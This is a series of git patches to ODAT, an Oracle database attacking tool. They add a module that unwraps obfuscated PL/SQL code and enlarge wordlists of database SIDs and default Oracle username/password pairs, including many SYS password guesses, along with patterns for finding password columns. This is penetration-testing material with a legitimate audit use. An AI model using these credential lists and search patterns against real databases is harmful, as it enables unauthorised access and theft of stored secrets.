TERMCOLOR_AVAILABLE == False: print formatMesg else : print colored(formatMesg, 'white',attrs=['bold']) diff --git a/README.md b/README.md index e71f22f..8b8746c 100644 --- a/README.md +++ b/README.md @@ -15,8 +15,9 @@ Tested on Oracle Database __10g__, __11g__ and __12c__(12.1.0.2.0). Changelog ==== -* Version __1.6__ (__2015/07/09__) : - * new feature to detect if a target is vulnerable to TNS poisoning (CVE-2012-1675) +* Version __1.6__ (__2015/07/14__) : + * new feature to detect if a target is vulnerable to TNS poisoning (CVE-2012-1675) + * new module named *unwrapper* to unwrap PL/SQL source code wrapped, from a file or a remote database * some improvements done * Version __1.5__ (__2015/03/17__) : * new module named *search* in order to search in column names @@ -81,6 +82,7 @@ Thanks to ODAT, you can: * check __CVE-2012-1675__ (http://seclists.org/fulldisclosure/2012/Apr/204) * __search in column names__ thanks to the *search* module: (NEW : 2015/03/17) * search a pattern (ex: password) in column names +* __unwrap__ PL/SQL source code (10g/11g and 12c) ![Alt text](./pictures/ODAT_main_features_v1.1.jpg) Supported Platforms and dependencies @@ -556,6 +558,52 @@ To see columns which do not contain data, you should use the *--show-empty-colum * To search column names which contain password like patterns: ```bash ./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' +``` + + *unwrapper* module +--- +This module allows you to unwrap PL/SQL source code wrapped (Oracle 10, 11 and 12). + +* To unwrap PL/SQL source code from a local file: +```bash +./odat.py unwrapper --file code.txt +``` + +An example of file: +```bash +cat code.txt +a000000 +1 +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +d +140 df +dpvm2y/8e4GQNNJr8ynRmaVUXCcwg5BK7Z7WZy9GXsE+YUtphQwUvwrjGSgSmOM9b/RUVKIU +[...] +2A== +``` + +* To unwrap PL/SQL source code from a remote database object (ex: package): +```bash +./odat.py unwrapper -s $SERVER -d $ID -U $USER -P $PASSWORD --object-name 'WRAPPED_OBJECT' +``` + +* To see the wrapped PL/SQL source code remotely: +```sql +SELECT text FROM all_source WHERE name='WRAPPED_OBJECT' ORDER BY line ``` --- diff --git a/Unwrapper.py b/Unwrapper.py new file mode 100644 index 0000000..2134442 --- /dev/null +++ b/Unwrapper.py @@ -0,0 +1,145 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, subprocess +from threading import Thread +from Utils import checkOptionsGivenByTheUser +from Constants import * + +import re, base64, zlib, sys + +class Unwrapper (OracleDatabase): + ''' + To unwrap PL/SQL source code + ''' + + CHAR_MAP_SUBSTITUTION = [0x3d, 0x65, 0x85, 0xb3, 0x18, 0xdb, 0xe2, 0x87, 0xf1, 0x52, 0xab, 0x63, 0x4b, 0xb5, 0xa0, 0x5f, 0x7d, 0x68, 0x7b, 0x9b, 0x24, 0xc2, 0x28, 0x67, 0x8a, 0xde, 0xa4, 0x26, 0x1e, 0x03, 0xeb, 0x17, 0x6f, 0x34, 0x3e, 0x7a, 0x3f, 0xd2, 0xa9, 0x6a, 0x0f, 0xe9, 0x35, 0x56, 0x1f, 0xb1, 0x4d, 0x10, 0x78, 0xd9, 0x75, 0xf6, 0xbc, 0x41, 0x04, 0x81, 0x61, 0x06, 0xf9, 0xad, 0xd6, 0xd5, 0x29, 0x7e, 0x86, 0x9e, 0x79, 0xe5, 0x05, 0xba, 0x84, 0xcc, 0x6e, 0x27, 0x8e, 0xb0, 0x5d, 0xa8, 0xf3, 0x9f, 0xd0, 0xa2, 0x71, 0xb8, 0x58, 0xdd, 0x2c, 0x38, 0x99, 0x4c, 0x48, 0x07, 0x55, 0xe4, 0x53, 0x8c, 0x46, 0xb6, 0x2d, 0xa5, 0xaf, 0x32, 0x22, 0x40, 0xdc, 0x50, 0xc3, 0xa1, 0x25, 0x8b, 0x9c, 0x16, 0x60, 0x5c, 0xcf, 0xfd, 0x0c, 0x98, 0x1c, 0xd4, 0x37, 0x6d, 0x3c, 0x3a, 0x30, 0xe8, 0x6c, 0x31, 0x47, 0xf5, 0x33, 0xda, 0x43, 0xc8, 0xe3, 0x5e, 0x19, 0x94, 0xec, 0xe6, 0xa3, 0x95, 0x14, 0xe0, 0x9d, 0x64, 0xfa, 0x59, 0x15, 0xc5, 0x2f, 0xca, 0xbb, 0x0b, 0xdf, 0xf2, 0x97, 0xbf, 0x0a, 0x76, 0xb4, 0x49, 0x44, 0x5a, 0x1d, 0xf0, 0x00, 0x96, 0x21, 0x80, 0x7f, 0x1a, 0x82, 0x39, 0x4f, 0xc1, 0xa7, 0xd7, 0x0d, 0xd1, 0xd8, 0xff, 0x13, 0x93, 0x70, 0xee, 0x5b, 0xef, 0xbe, 0x09, 0xb9, 0x77, 0x72, 0xe7, 0xb2, 0x54, 0xb7, 0x2a, 0xc7, 0x73, 0x90, 0x66, 0x20, 0x0e, 0x51, 0xed, 0xf8, 0x7c, 0x8f, 0x2e, 0xf4, 0x12, 0xc6, 0x2b, 0x83, 0xcd, 0xac, 0xcb, 0x3b, 0xc4, 0x4e, 0xc0, 0x69, 0x36, 0x62, 0x02, 0xae, 0x88, 0xfc, 0xaa, 0x42, 0x08, 0xa6, 0x45, 0x57, 0xd3, 0x9a, 0xbd, 0xe1, 0x23, 0x8d, 0x92, 0x4a, 0x11, 0x89, 0x74, 0x6b, 0x91, 0xfb, 0xfe, 0xc9, 0x01, 0xea, 0x1b, 0xf7, 0xce] + REQ_GET_SOURCE_CODE = "SELECT text, owner FROM all_source WHERE name LIKE '{0}' ORDER BY line" + + def __init__(self,args, offline): + ''' + Constructor + ''' + logging.debug("Unwrapper object created") + self.offline = offline + if offline == False: + logging.debug("Offline mode of Unwrapper module enabled.") + OracleDatabase.__init__(self,args) + else: + logging.debug("Offline mode of Unwrapper module disabled") + + def __getSourceCode__ (self, objectName): + ''' + returns souce code of the object objectName + returns {'owner':'', 'sourceCode':''} or None if no result + ''' + sourceCode = "" + logging.info("Geeting the source code of the object named {0}".format(objectName)) + logging.debug("Sending this request: {0}".format(self.REQ_GET_SOURCE_CODE.format(objectName))) + results = self.__execQuery__(query=self.REQ_GET_SOURCE_CODE.format(objectName), ld=['text', 'owner']) + if results == []: + logging.error('Empty response: No source code for the object named {0}. Perhaps a mistake in your object name'.format(objectName)) + return None + else: + for aResult in results: sourceCode += aResult['text'] + return {'owner':results[0]['owner'],'sourceCode':sourceCode} + + def __unwrap__ (self, wrappedCode): + ''' + Returns PL/SQL data unwrapped or None if error + ''' + logging.info("Unwrapping the following PL/SQL source code: '{0}'".format(wrappedCode)) + lines = wrappedCode['sourceCode'].split('\n')[:-1] + try: + for i in range(0, len(lines)): + matches = re.compile(r"^[0-9a-f]+ ([0-9a-f]+)$").match(lines[i]) + if matches: + b64str, j = '', 0 + b64len = int(matches.groups()[0], 16) + logging.debug("Length of base 64 string equal to {0}".format(b64len)) + while len(b64str) < b64len: + j+=1 + b64len-=1 + b64str += lines[i+j] + return(self.__decodeBase64Package__(b64str)) + except Exception,e: + logging.error("Impossible to parse the correctly the PL/SQL source code: '{0}'".format(e)) + return None + + def unwrapRemotely(self, objectName): + ''' + unwrap a PL/SQL code remotely + Returns Nne if error. Otherwise returns source code unwrapped + ''' + sourceCode = self.__getSourceCode__(objectName) + if sourceCode == None: return None + code = self.__unwrap__(sourceCode) + return code + + def unwrapLocally(self, filename): + ''' + unwrap a PL/SQL code remotely + ''' + f = open(filename) + lines = "".join(f.readlines()) + code = self.__unwrap__({'owner':'unknown', 'sourceCode':lines}) + return code + + + def __decodeBase64Package__(self,b64str): + ''' + Return None if error + ''' + decoded = '' + try: + b64dec = base64.decodestring(b64str)[20:] # we strip the first 20 chars (SHA1 hash, I don't bother checking it at the moment) + for byte in range(0, len(b64dec)): decoded += chr(self.CHAR_MAP_SUBSTITUTION[ord(b64dec[byte])]) + datadec = zlib.decompress(decoded) + except Exception,e: + logging.error("Impossible to decompress data: '{0}'".format(e)) + return None + return datadec + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Unwrap PL/SQL source code remotely?") + logging.info('Nothing to do, return True') + self.args['print'].goodNews("OK") + return True + +def runUnwrapperModule(args): + ''' + Run the unwrapper module + ''' + status, offline = True, True + if args['test-module'] == False and args['object-name'] == None and args['file'] == None: + logging.critical("You must choose --test-module or/and --object-name or/and --file") + return EXIT_MISS_ARGUMENT + if args['file'] != None: + offline = True + unwrapper = Unwrapper(args, offline=True) + if args['object-name'] != None: + if checkOptionsGivenByTheUser(args,["test-module","object-name"]) == False : return EXIT_MISS_ARGUMENT + offline = False + unwrapper = Unwrapper(args, offline=False) + unwrapper.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the Unwrapper module can be used") + unwrapper.testAll() + if args['object-name'] != None : + args['print'].title("Unwrapping PL/SQL source code of {0} stored in the remote database".format(args['object-name'])) + code = unwrapper.unwrapRemotely(args['object-name']) + if code == None: args['print'].badNews("Impossible to get the source code or to unwrap it. Is it wrapped? Have you permissions?...") + else: args['print'].goodNews(code) + if args['file'] != None : + args['print'].title("Unwrapping PL/SQL source code stored in the local file named {0}".format(args['file'])) + code = unwrapper.unwrapLocally(args['file']) + if code == None: args['print'].badNews("Impossible to read the source code or to unwrap it. Is it wrapped? Have you permissions?...") + else: args['print'].goodNews(code) + + + + diff --git a/odat.py b/odat.py index 4f35262..44acd11 100755 --- a/odat.py +++ b/odat.py @@ -41,6 +41,7 @@ from Oradbg import Oradbg,runOradbgModule from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword from Search import runSearchModule +from Unwrapper import runUnwrapperModule def runClean (args): ''' @@ -209,7 +210,7 @@ def main(): #1.1- Parent parser: connection options PPconnection = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPconnection._optionals.title = "connection options" - PPconnection.add_argument('-s', dest='server', required=True, help='server') + PPconnection.add_argument('-s', dest='server', required=False, help='server') PPconnection.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') PPconnection.add_argument('-U', dest='user', required=False, help='Oracle username') PPconnection.add_argument('-P', dest='password', required=False, default=None, help='Oracle password') @@ -351,7 +352,13 @@ def main(): PPsearch.add_argument('--pwd-column-names',dest='pwd-column-names',action='store_true',help='search password patterns in all collumns') PPsearch.add_argument('--show-empty-columns',dest='show-empty-columns',action='store_true',help='show columns even if columns are empty') PPsearch.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') - #1.20- Parent parser: clean + #1.20- Parent parser: unwrapper + PPunwrapper = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPunwrapper._optionals.title = "unwrapper commands" + PPunwrapper.add_argument('--object-name',dest='object-name',default=None,required=False,help='unwrap this object stored in the database') + PPunwrapper.add_argument('--file',dest='file',default=None,required=False,help='unwrap the source code stored in a file') + PPunwrapper.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.21- Parent parser: clean PPclean = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPclean._optionals.title = "clean commands" PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs stored locally') @@ -417,10 +424,13 @@ def main(): #2.q- smb parser_smb = subparsers.add_parser('smb',parents=[PPoptional,PPconnection,PPsmb,PPoutput],help='to capture the SMB authentication') parser_smb.set_defaults(func=runSMBModule,auditType='smb') - #2.r- smb + #2.r- search parser_search = subparsers.add_parser('search',parents=[PPoptional,PPconnection,PPsearch,PPoutput],help='to search in databases, tables and columns') parser_search.set_defaults(func=runSearchModule,auditType='search') - #2.s- clean + #2.s- PPunwrapper + parser_unwrapper = subparsers.add_parser('unwrapper',parents=[PPoptional,PPconnection,PPunwrapper,PPoutput],help='to unwrap PL/SQL source code (no for 9i version)') + parser_unwrapper.set_defaults(func=runUnwrapperModule,auditType='unwrapper') + #2.t- clean parser_clean = subparsers.add_parser('clean',parents=[PPoptional,PPclean,PPoutput],help='clean traces and logs') parser_clean.set_defaults(func=runClean,auditType='clean') #3- parse the args @@ -434,7 +444,9 @@ def main(): reload(sys) sys.setdefaultencoding(args['encoding']) #Start the good function - if args['auditType']!='clean' and ipOrNameServerHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + if args['auditType']=='unwrapper' or args['auditType']=='clean': pass + else: + if ipOrNameServerHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT arguments.func(args) exit(ALL_IS_OK) From cfc2540f096809883d059edc1f347c0808fb0b88 Mon Sep 17 00:00:00 2001 From: "Quentin HARDY (bobsecurity)" Date: Mon, 27 Jul 2015 16:21:02 +0200 Subject: [PATCH 75/83] -vv in help menu now --- odat.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/odat.py b/odat.py index 44acd11..f8c0c0a 100755 --- a/odat.py +++ b/odat.py @@ -204,7 +204,7 @@ def main(): #1.0- Parent parser: optional PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPoptional._optionals.title = "optional arguments" - PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='enable verbosity') + PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='enable verbosity (-vv for more)') PPoptional.add_argument('--sleep', dest='timeSleep', required=False, type=float, default=DEFAULT_TIME_SLEEP, help='time sleep between each test or request (default: %(default)s)') PPoptional.add_argument('--encoding', dest='encoding', required=False, default=DEFAULT_ENCODING, help='output encoding (default: %(default)s)') #1.1- Parent parser: connection options From 55856007ac96c433a905596e52304fbf24c656e2 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 06:34:55 -0800 Subject: [PATCH 76/83] Update sids.txt Added other SIDs, including ones used by third parties --- sids.txt | 262 +++++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 214 insertions(+), 48 deletions(-) diff --git a/sids.txt b/sids.txt index 505301d..aaf65bb 100644 --- a/sids.txt +++ b/sids.txt @@ -1,53 +1,11 @@ -ORCL -XE -ASDB -IASDB -OEMREP -SA0 -SA1 -SA2 -SA3 -SA4 -SA5 -SA6 -SA7 -SA8 -SA9 -SAA -SAB -SAC -SAD -SAE -SAF -SAG -SAH -SAI -SAJ -SAK -SAL -SAM -SAN -SAO -SAP -SAQ -SAR -SAS -SAT -SAU -SAV -SAW -SAX -SAY -SAZ -IXOS -CTM4_0 -CTM4_1 -CTM4_6 -CTM4_6 -ARIS -MSAM ADV1 ADVCPROD +AIX10 +AIX11 +AIX9 +APEX +ARIS +ASDB ASDB0 ASDB1 ASDB2 @@ -64,8 +22,13 @@ ASG817T ATRPROD ATRTEST BLA +BOOKS BUDGET C630 +CTM4_0 +CTM4_1 +CTM4_6 +CTM4_7 D D10 D8 @@ -94,6 +57,7 @@ DBX DEMO DEV DEV0 +DEV01 DEV1 DEV2 DEV3 @@ -108,12 +72,15 @@ DIA1 DIA2 DIS DWH +DWHDB DWHPROD DWHTEST DWRHS +EARTH ELCARO EMRS2 EOF +ERP ESOR FINDEC FINPROD @@ -123,6 +90,11 @@ FPRD GR01 GR02 GR03 +HCDMO +HEDGEHOG +HPUX10 +HPUX11 +HPUX9 HR HR0 HR1 @@ -135,21 +107,42 @@ HR7 HR8 HR9 HRDMO +HTMLDB +IAGTS +IASDB INCD ISD01 ISD06 +ISP ISP01 +ISP1 +ISP2 +ISQ1 ITS +IXOS KRAUS KRONOS LDAP +LIN10 +LIN11 +LIN9 LINUX101 LINUX1011 LINUX1012 LINUX1013 LINUX1014 +LINUX1015 LINUX102 LINUX1021 +LINUX1022 +LINUX1023 +LINUX1024 +LINUX1025 +LINUX111 +LINUX11106 +LINUX11107 +LINUX112 +LINUX11201 LINUX817 LINUX8171 LINUX8172 @@ -164,16 +157,35 @@ LINUX9024 LINUX9025 LINUX9026 LINUX9027 +LINUX9028 +LINUX92 +LINUX9208 LUN MDTEST +MSAM +MV713 MYDB NEDB NORTHWIND +OAS +OAS1 +OAS10 +OAS2 +OAS3 +OAS4 +OAS5 +OAS6 +OAS7 +OAS8 +OAS9 ODB +OEMREP OGDP OID OJS OMS +OPENVIEW +ORA ORA1 ORA10 ORA101 @@ -213,7 +225,29 @@ ORA1021T ORA1022 ORA1022P ORA1022T +ORA1023 +ORA1023P +ORA1023T +ORA1024 +ORA1024P +ORA1024T +ORA1025 +ORA1025P +ORA1025T +ORA11 +ORA111 +ORA11106 +ORA11107 +ORA112 +ORA11201 +ORA11202 +ORA11G ORA2 +ORA3 +ORA4 +ORA5 +ORA6 +ORA7 ORA8 ORA805 ORA806 @@ -236,6 +270,7 @@ ORA8174 ORA8174P ORA8174T ORA8_SC +ORA9 ORA910 ORA920 ORA9201 @@ -259,6 +294,9 @@ ORA9206T ORA9207 ORA9207P ORA9207T +ORA9208 +ORA9208P +ORA9208T ORACL ORACLE ORADB @@ -266,9 +304,13 @@ ORADB1 ORADB2 ORADB3 ORALIN +ORCL ORCL0 ORCL1 ORCL10 +ORCL10G +ORCL11 +ORCL11G ORCL2 ORCL3 ORCL4 @@ -311,11 +353,13 @@ ORCLT ORCLU ORCLV ORCLW +ORCL.WORLD ORCLX ORCLY ORCLZ ORIONDB ORTD +OVO P P10 P10G @@ -337,6 +381,13 @@ PORA1014 PORA1015 PORA1021 PORA1022 +PORA1023 +PORA1024 +PORA1025 +PORA11106 +PORA11107 +PORA11201 +PORA11202 PORA8170 PORA8171 PORA8172 @@ -349,12 +400,16 @@ PORA9204 PORA9205 PORA9206 PORA9207 +PORA9208 PRD PRITXI PROD PROD0 PROD1 +PROD10 PROD10G +PROD11 +PROD11G PROD2 PROD3 PROD4 @@ -367,12 +422,16 @@ PROD9 PROD920 PROD9I PROG10 +QM +QS RAB1 RAC RAC1 RAC2 RAC3 RAC4 +RDB +RDS RECV REP REP0 @@ -407,6 +466,7 @@ REPOS6 REPOS7 REPOS8 REPOS9 +REPSCAN RIPPROD RITCTL RITDEV @@ -414,9 +474,34 @@ RITPROD RITQA RITTRN RITTST +SA0 +SA1 +SA2 +SA3 +SA4 +SA5 +SA6 +SA7 +SA8 +SA9 +SAA +SAB +SAC +SAD +SAE +SAF +SAG +SAH +SAI +SAJ +SAK +SAL SALES +SAM SAMPLE +SAN SANIPSP +SAO SAP SAP0 SAP1 @@ -429,6 +514,19 @@ SAP7 SAP8 SAP9 SAPHR +SAQ +SAR +SAS +SAT +SAU +SAV +SAW +SAX +SAY +SAZ +SDB +SENTRIGO +SES SGNT SID0 SID1 @@ -440,6 +538,10 @@ SID6 SID7 SID8 SID9 +SIP +SOL10 +SOL11 +SOL9 STAG1 STAG2 T1 @@ -462,10 +564,14 @@ T91 T92 TEST TEST10G +TEST11G +TEST9I +TESTORCL THUMPER TRC28 TRIUMF TSH1 +TSM TST TST0 TST1 @@ -483,8 +589,13 @@ UNIX1011 UNIX1012 UNIX1013 UNIX1014 +UNIX1015 UNIX102 UNIX1021 +UNIX1022 +UNIX1023 +UNIX1024 +UNIX1025 UNIX817 UNIX8171 UNIX8172 @@ -499,16 +610,30 @@ UNIX9024 UNIX9025 UNIX9026 UNIX9027 +UNIX9028 +V713 VENOM VENU VISTA +VPX W101 W1011 W1012 W1013 W1014 +W1015 W102 W1021 +W1022 +W1023 +W1024 +W1025 +W111 +W11102 +W11106 +W11107 +W112 +W11201 W817 W8171 W8172 @@ -523,14 +648,40 @@ W9024 W9025 W9026 W9027 +W9028 +WEB +WEB1 +WEB10 +WEB2 +WEB3 +WEB4 +WEB5 +WEB6 +WEB7 +WEB8 +WEB9 +WEBDEV WG73 WIN101 WIN1011 WIN1012 WIN1013 WIN1014 +WIN1015 WIN102 WIN1021 +WIN1022 +WIN1023 +WIN1024 +WIN1025 +WIN11 +WIN111 +WIN11106 +WIN11107 +WIN112 +WIN11201 +WIN11202 +WIN7 WIN817 WIN8171 WIN8172 @@ -545,13 +696,26 @@ WIN9024 WIN9025 WIN9026 WIN9027 +WIN9028 WINDOWS101 WINDOWS1011 WINDOWS1012 WINDOWS1013 WINDOWS1014 +WINDOWS1015 WINDOWS102 WINDOWS1021 +WINDOWS1022 +WINDOWS1023 +WINDOWS1024 +WINDOWS1025 +WINDOWS11 +WINDOWS111 +WINDOWS11106 +WINDOWS11107 +WINDOWS112 +WINDOWS11201 +WINDOWS11202 WINDOWS817 WINDOWS8171 WINDOWS8172 @@ -566,5 +730,7 @@ WINDOWS9024 WINDOWS9025 WINDOWS9026 WINDOWS9027 +WINDOWS9028 +XE XEXDB XE_XPT From 2247595e2806dd9f2c9d448f969f73ee4ba99ef8 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 11:11:24 -0800 Subject: [PATCH 77/83] Update Constants.py --- Constants.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/Constants.py b/Constants.py index 9d3b8f2..1876691 100644 --- a/Constants.py +++ b/Constants.py @@ -38,18 +38,14 @@ DEFAULT_ENCODING = 'utf8' #SEARCH module PATTERNS_COLUMNS_WITH_PWDS = [ - '%motdepasse%', - '%mot_de_passe%', '%mdp%', '%pwd%', - '%passswd%', - "%password%", + '%pass%', "%contraseña%", "%clave%", "%chiave%", "%пароль%", "%wachtwoord%", - "%Passwort%", "%hasło%", "%senha%", ] From b1d835dcc6a1a52e59a3ccf1acf7d34b3c7b3d6a Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 11:15:31 -0800 Subject: [PATCH 78/83] Update accounts.txt --- accounts/accounts.txt | 122 ++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 119 insertions(+), 3 deletions(-) diff --git a/accounts/accounts.txt b/accounts/accounts.txt index 07dcc7b..245fb21 100644 --- a/accounts/accounts.txt +++ b/accounts/accounts.txt @@ -1,8 +1,10 @@ ABM/ABM ADAMS/WOOD ADLDEMO/ADLDEMO +ADMINISTRATOR/ADMIN ADMINISTRATOR/ADMINISTRATOR -ADMIN/ADMIN +ADMIN/JETSPEED +ADMIN/WELCOME AHL/AHL AHM/AHM AK/AK @@ -13,9 +15,18 @@ AMS/AMS AMV/AMV ANDY/SWORDFISH ANONYMOUS/ANONYMOUS +ANONYMOUS/ AP/AP APPLMGR/APPLMGR APPLSYS/APPLSYS +APPLSYS/APPS +APPLSYS/FND +APPLSYSPUB/APPLSYSPUB +APPLSYSPUB/FNDPUB +APPLSYSPUB/PUB +APPLYSYSPUB/FNDPUB +APPLYSYSPUB/PUB +APPLYSYSPUB/ APPS/APPS APPS_MRC/APPS APPUSER/APPPASSWORD @@ -33,7 +44,9 @@ AST/AST ATM/SAMPLEATM AUDIOUSER/AUDIOUSER AURORA$JIS$UTILITY$/INVALID +AURORA$JIS$UTILITY$/ AURORA$ORB$UNAUTHENTICATED/INVALID +AURORA$ORB$UNAUTHENTICATED/ AX/AX AZ/AZ BC4J/BC4J @@ -48,12 +61,16 @@ BLAKE/PAPER BLEWIS/BLEWIS BOM/BOM BRIO_ADMIN/BRIO_ADMIN +BRUGERNAVN/ADGANGSKODE BRUKERNAVN/PASSWORD +BSC/BSC BUG_REPORTS/BUG_REPORTS CALVIN/HOBBES CATALOG/CATALOG CCT/CCT CDEMO82/CDEMO82 +CDEMO82/CDEMO83 +CDEMO82/UNKNOWN CDEMOCOR/CDEMOCOR CDEMORID/CDEMORID CDEMOUCB/CDEMOUCB @@ -64,6 +81,7 @@ CENTRAL/CENTRAL CIDS/CIDS CIS/CIS CISINFO/CISINFO +CISINFO/ZWERG CIS/ZWERG CLARK/CLOTH CLKANA/ @@ -86,7 +104,10 @@ CSP/CSP CSR/CSR CSS/CSS CTXDEMO/CTXDEMO +CTXSYS/CHANGE_ON_INSTALL CTXSYS/CTXSYS +CTXSYS/UNKNOWN +CTXSYS/ CUA/CUA CUE/CUE CUF/CUF @@ -116,6 +137,7 @@ DISCOVERER_ADMIN/DISCOVERER_ADMIN DMSYS/DMSYS DPF/DPFPASS DSGATEWAY/DSGATEWAY +DSGATEWAY/ DSSYS/DSSYS DTSP/DTSP EAA/EAA @@ -126,6 +148,7 @@ EC/EC ECX/ECX EJB/EJB EJSADMIN/EJSADMIN +EJSADMIN/EJSADMIN_PASSWORD EMP/EMP ENG/ENG ENI/ENI @@ -164,8 +187,11 @@ GR/GR HADES/HADES HCPARK/HCPARK HLW/HLW +HR/CHANGE_ON_INSTALL HR/HR HRI/HRI +HR/UNKNOWN +HR/ HVST/HVST HXC/HXC HXT/HXT @@ -209,7 +235,7 @@ JAKE/PASSWO4 JE/JE JG/JG JILL/PASSWO2 -JL/JL +JL /JL JMUSER/JMUSER JOHN/JOHN JONES/STEEL @@ -227,8 +253,10 @@ MASCARM/MANAGER MASTER/PASSWORD MDDATA/MDDATA MDDEMO_CLERK/CLERK +MDDEMO_CLERK/MGR MDDEMO/MDDEMO MDDEMO_MGR/MDDEMO_MGR +MDDEMO_MGR/MGR MDSYS/MDSYS ME/ME MFG/MFG @@ -237,6 +265,8 @@ MGWUSER/MGWUSER MIGRATE/MIGRATE MILLER/MILLER MMO2/MMO2 +MMO2/MMO3 +MMO2/UNKNOWN MODTEST/YES MOREAU/MOREAU MRP/MRP @@ -257,8 +287,10 @@ NOM_UTILISATEUR/MOT_DE_PASSE NUME_UTILIZATOR/PAROL OAIHUB902/ OAS_PUBLIC/OAS_PUBLIC +OAS_PUBLIC/ OCITEST/OCITEST OCM_DB_ADMIN/OCM_DB_ADMIN +OCM_DB_ADMIN/ ODM_MTR/MTRPW ODM/ODM ODSCOMMON/ODSCOMMON @@ -269,6 +301,7 @@ OEMADM/OEMADM OEMREP/OEMREP OEM_REPOSITORY/ OE/OE +OE/UNKNOWN OKB/OKB OKC/OKC OKE/OKE @@ -278,7 +311,9 @@ OKR/OKR OKS/OKS OKX/OKX OLAPDBA/OLAPDBA +OLAPSVR/INSTANCE OLAPSVR/OLAPSVR +OLAPSYS/MANAGER OLAPSYS/OLAPSYS OMWB_EMULATION/ORACLE ONT/ONT @@ -286,6 +321,7 @@ OO/OO OPENSPIRIT/OPENSPIRIT OPI/OPI ORACACHE/ORACACHE +ORACACHE/ ORACLE/ORACLE ORACLE_OCM/ORACLE_OCM ORADBA/ORADBAPASS @@ -303,6 +339,7 @@ ORDCOMMON/ORDCOMMON ORDPLUGINS/ORDPLUGINS ORDSYS/ORDSYS OSE$HTTP$ADMIN/INVALID +OSE$HTTP$ADMIN/Invalid password OSM/OSM OSP22/OSP22 OSSAQ_HOST/ @@ -313,6 +350,7 @@ OUTLN/OUTLN OWA/OWA OWA_PUBLIC/OWA_PUBLIC OWF_MGR/OWF_MGR +OWF_MGR/ OWNER/OWNER OZF/OZF OZP/OZP @@ -327,8 +365,10 @@ PJM/PJM PLANNING/PLANNING PLEX/PLEX PLSQL/SUPERSECRET +PM/CHANGE_ON_INSTALL PMI/PMI PM/PM +PM/UNKNOWN PN/PN PO7/PO7 PO8/PO8 @@ -338,6 +378,7 @@ PO/PO PORTAL30_ADMIN/PORTAL30_ADMIN PORTAL30_DEMO/PORTAL30_DEMO PORTAL30/PORTAL30 +PORTAL30/PORTAL31 PORTAL30_PS/PORTAL30_PS PORTAL30_PUBLIC/PORTAL30_PUBLIC PORTAL30_SSO_ADMIN/PORTAL30_SSO_ADMIN @@ -346,6 +387,7 @@ PORTAL30_SSO_PS/PORTAL30_SSO_PS PORTAL30_SSO_PUBLIC/PORTAL30_SSO_PUBLIC PORTAL_APP/ PORTAL_DEMO/PORTAL_DEMO +PORTAL_DEMO/ PORTAL_PUBLIC/ PORTAL_SSO_PS/PORTAL_SSO_PS PORTAL/ @@ -361,18 +403,35 @@ PV/PV QA/QA QDBA/QDBA QP/QP +QS_ADM/CHANGE_ON_INSTALL QS_ADM/QS_ADM +QS_ADM/UNKNOWN QS_CBADM/CHANGE_ON_INSTALL +QS_CBADM/QS_CBADM +QS_CBADM/UNKNOWN +QS_CB/CHANGE_ON_INSTALL QS_CB/QS_CB +QS_CB/UNKNOWN +QS/CHANGE_ON_INSTALL QS_CS/CHANGE_ON_INSTALL +QS_CS/QS_CS +QS_CS/UNKNOWN +QS_ES/CHANGE_ON_INSTALL QS_ES/QS_ES +QS_ES/UNKNOWN +QS_OS/CHANGE_ON_INSTALL QS_OS/QS_OS +QS_OS/UNKNOWN QS/QS +QS/UNKNOWN +QS_WS/CHANGE_ON_INSTALL QS_WS/QS_WS +QS_WS/UNKNOWN REPADMIN/REPADMIN REP_MANAGER/DEMO REPORTS/REPORTS REPORTS_USER/OEM_TEMP +REP_OWNER/DEMO REP_OWNER/REP_OWNER REP_USER/DEMO RE/RE @@ -389,10 +448,13 @@ SAP/06071992 SAPR3/SAP SAP/SAPR3 SCOTT/TIGER +SCOTT/TIGGER SDOS_ICSAP/SDOS_ICSAP SECDEMO/SECDEMO SERVICECONSUMER1/SERVICECONSUMER1 +SH/CHANGE_ON_INSTALL SH/SH +SH/UNKNOWN SI_INFORMTN_SCHEMA/SI_INFORMTN_SCHEMA SITEMINDER/SITEMINDER SLIDE/SLIDEPW @@ -403,12 +465,58 @@ STRAT_USER/STRAT_PASSWD SWPRO/SWPRO SWUSER/SWUSER SYMPA/SYMPA -SYS/SYS +SYS/0RACL3 +SYS/0RACL38 +SYS/0RACL38I +SYS/0RACL39 +SYS/0RACL39I +SYS/0RACLE +SYS/0RACLE8 +SYS/0RACLE8I +SYS/0RACLE9 +SYS/0RACLE9I SYSADMIN/SYSADMIN +SYSADMIN/ SYSADM/SYSADM +SYS/CHANGE_ON_INSTALL +SYS/D_SYSPW +SYS/MANAG3R +SYS/MANAGER +SYSMAN/OEM_TEMP SYSMAN/SYSMAN +SYS/ORACL3 